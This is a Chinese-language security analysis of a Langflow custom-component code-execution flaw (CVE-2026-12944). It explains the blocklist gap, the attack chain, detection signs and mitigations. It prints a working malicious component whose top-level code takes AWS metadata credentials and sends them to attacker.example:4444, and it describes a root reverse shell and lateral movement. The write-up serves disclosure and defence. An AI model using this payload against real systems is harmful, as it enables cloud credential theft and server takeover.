Langflow 关键代码执行漏洞:SSRF 绕过直取 root 权限
CVE-2026-12944,CVSS 9.6。Langflow 的自定义组件导入模块缺少危险 import 黑名单条目,导致认证用户可触发服务端任意代码执行,且以 root 权限运行。
完整中文译文
Langflow 是一个用于组装 LLM 应用的可视化框架,用户可以通过编写原始 Python 代码的"自定义组件"并将其添加到流程中——这显然是任意代码执行的候选入口,Langflow 团队也意识到了这一点。提交的组件代码在运行前应该通过代码安全扫描器。但问题是扫描器的阻止列表 DANGEROUS_IMPORTS 恰好缺少了两个关键的条目。
让这个问题更加棘手的是,"验证"步骤本身就是一次执行。触发它需要认证用户(PR:L),但一旦触发就是无条件的(AC:L, UI:N)——且运行的代码具有 root(UID=0)权限。
完整攻击链
前三步的目标是让代码在服务器上运行。后三步展示 root 级执行能为攻击者带来什么。让我们从源码层面逐一分析。
第一、二步 · 提交组件:只需一个账号
Langflow 通常是自托管的,根据部署方式,注册往往是开放的,或者只是对组件提交功能加了一层极简认证。攻击者不需要管理员权限——只需一个能注册组件的账号。
攻击者准备的组件代码大致如下:
# looks like an ordinary custom component
import socket
import urllib.request
# ⚠ this isn't inside a method — it sits at module top level
_r = urllib.request.urlopen(
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
)
_role = _r.read().decode()
_creds = urllib.request.urlopen(
f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{_role}"
).read()
_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_s.connect(("attacker.example", 4444))
_s.sendall(_creds)
from langflow.custom import CustomComponent
class InnocentLookingComponent(CustomComponent):
display_name = "CSV Formatter"
def build(self, data: str) -> str:
return data.strip()
关键细节:恶意代码位于模块顶层,不在 build() 方法内部。这个设计意图在下一步会体现出来。
第三步 · 在验证阶段执行:阻止列表漏掉的那两个词
Langflow 并不会盲目运行这段代码。为了确认组件具有有效的类结构,服务器会先导入它。在此之前,代码安全扫描器应该捕获任何明显危险的代码。IBM 的 advisory 直接指出了这个扫描器的阻止列表:DANGEROUS_IMPORTS。
# The scanner's blocklist (conceptual reconstruction)
DANGEROUS_IMPORTS = {
"subprocess",
"eval",
"exec",
"compile",
"__import__",
"importlib",
# ... other "obviously risky" names
# socket and urllib are not on this list
}
def scan_code_security(source: str) -> dict:
tree = ast.parse(source)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
module_name = (node.names[0].name if isinstance(node, ast.Import)
else node.module)
if module_name in DANGEROUS_IMPORTS:
return {"validated": False, "reason": f"blocked import: {module_name}"}
return {"validated": True} # socket and urllib never trip this check

"明显危险"的名字——subprocess、eval、exec、compile——被正确阻止了。但 socket 和 urllib 从未进入名单,而这两个模块恰恰足以打开网络连接或向任意 URL 发送 HTTP 请求。
这背后还有一个更深层的问题。无论 scan_code_security() 决定阻止什么,对代码进行导入以检查它,这一行为本身就是一次执行。在 Python 中,import module 会立即运行该模块的顶层代码——在注册函数和类定义之外,任何写在顶层的调用语句,比如 urllib.request.urlopen(...),会在模块被导入的瞬间就执行。因此,在扫描器甚至还来不及给出裁决之前,为验证代码而执行的 import 已经把攻击者的网络请求在服务器上完成了。
API 返回的响应充其量只能说是误导性的:
{ "validated": true }
代码在响应返回之前就已经运行完了。validated: true 不是"这段代码是安全的"——而是"阻止列表没有匹配到任何东西"。响应没有给调用方任何方法区分这两种情况。
第四步 · IMDSv1 SSRF 窃取 AWS 凭据
Langflow 最常部署为云端容器,且该容器通常携带一个附加的 IAM 角色,用于访问所需的 AWS 资源。该角色的凭据可以通过实例元数据服务(IMDS)获取。
问题出在 IMDSv1 上。新的 IMDSv2 要求在读取元数据之前先发送一个 PUT 请求来获取 token,这提供了一些针对 SSRF 的保护。IMDSv1 没有这个要求——只需一个简单的 GET 就能完成。
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ 返回角色名称
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
→ 返回包含 AccessKeyId、SecretAccessKey 和 Token 的 JSON
只需两次对 urllib.request.urlopen() 的调用,攻击者就持有了带有容器所携带 IAM 角色全部权限的临时凭据。这本身不是 Langflow 的 bug——这是旧版 IMDSv1 的特性——但通过一次 SSRF 就能触达它,才是这条攻击链影响被放大的关键。
第五步 · 以 UID=0 建立反向 Shell
仅靠 socket 就足以打开一条出站 TCP 连接。把它指向攻击者已预先架好的监听端口,将 socket 连接到标准输入输出,整整一个交互式 shell 就易手了。
IBM 的 advisory 明确指出,这段代码以 root(UID=0)权限运行。不存在单独的权限提升步骤——第三步的代码执行本身已经是最高可用权限。攻击者现在可以读写整个容器文件系统,包括通常存放数据库凭据和其他 API 密钥的 .env 文件和应用配置。
第六步 · 在 Docker 网络内横向移动
Langflow 容器通常与 PostgreSQL(流程和用户数据)和 Redis(缓存/队列)等服务处于同一 Docker 网络。这些服务在"内部网络就是保护"这一假设下,通常以较宽松的认证运行,并不罕见。有了第四、五步获取的凭据和文件系统访问权限,攻击者到达这些服务几乎畅通无阻。
1.10.1 修复同时针对两个根本原因。
# Post-patch DANGEROUS_IMPORTS (conceptual reconstruction)
DANGEROUS_IMPORTS = {
"subprocess",
"eval", "exec", "compile",
"__import__", "importlib",
"socket", # added
"urllib.request", # added
"urllib", # added
# ... broadened to cover network-capable modules
}
看似只是往列表里加了两个名字,但 IBM 自己的措辞重新定义了扫描器应该捕获的目标——明确指出是"基于网络的代码执行风险"。阻止列表在结构上就是"我们目前想到的危险名字列表"——这意味着每次漏掉某个模块就需要再打补丁。只要验证组件意味着实际上要导入(= 执行)它,"我们下一个漏掉的模块是什么?"这个问题就永远不会消失。
值得关注的日志特征
请求组件提交/验证端点,且请求体包含网络调用——socket.connect(、urllib.request.urlopen(、http.client 等——但这些调用不在任何类定义内、位于模块顶层。
从 Langflow 容器发往 169.254.169.254(IMDS)的出站连接。合法的组件执行基本上没有理由直接访问元数据服务。
新注册的账号调用组件提交 API,随之立即出现容器到外部的意外出站连接。
任何低于 1.10.1 的版本都应视为已暴露。同一 advisory 中捆绑的关联认证绕过(CVE-2026-17628——重置密码时不验证当前密码)影响范围至 1.10.2,并在 1.10.3 中一并修复,因此如果想同时解决两个问题,直接升级到 1.10.3 或更高版本是更安全的做法。
缓解措施(等待正式补丁)
如果不需要组件提交功能,彻底关闭开放注册,消除这个入口点。
在云环境中,强制使用 IMDSv2 并禁用 IMDSv1,使即使一次成功的 SSRF 没有 token 也无法获取凭据。
限制 Langflow 容器的出站网络访问,仅开放其实际需要的部分(出口防火墙),阻止到 169.254.169.254 或内部数据库的任意连接。
以非 root 用户运行容器。这条攻击链的大部分破坏力正是来自以 root 执行——应用最小权限原则,即使同类代码执行漏洞再次出现,也能限制爆炸半径。
对 PostgreSQL 和 Redis 等内部服务强制要求认证,不论其所处网络位置。"在内网就是安全的"正是使这条攻击链最后一步成为可能的假设。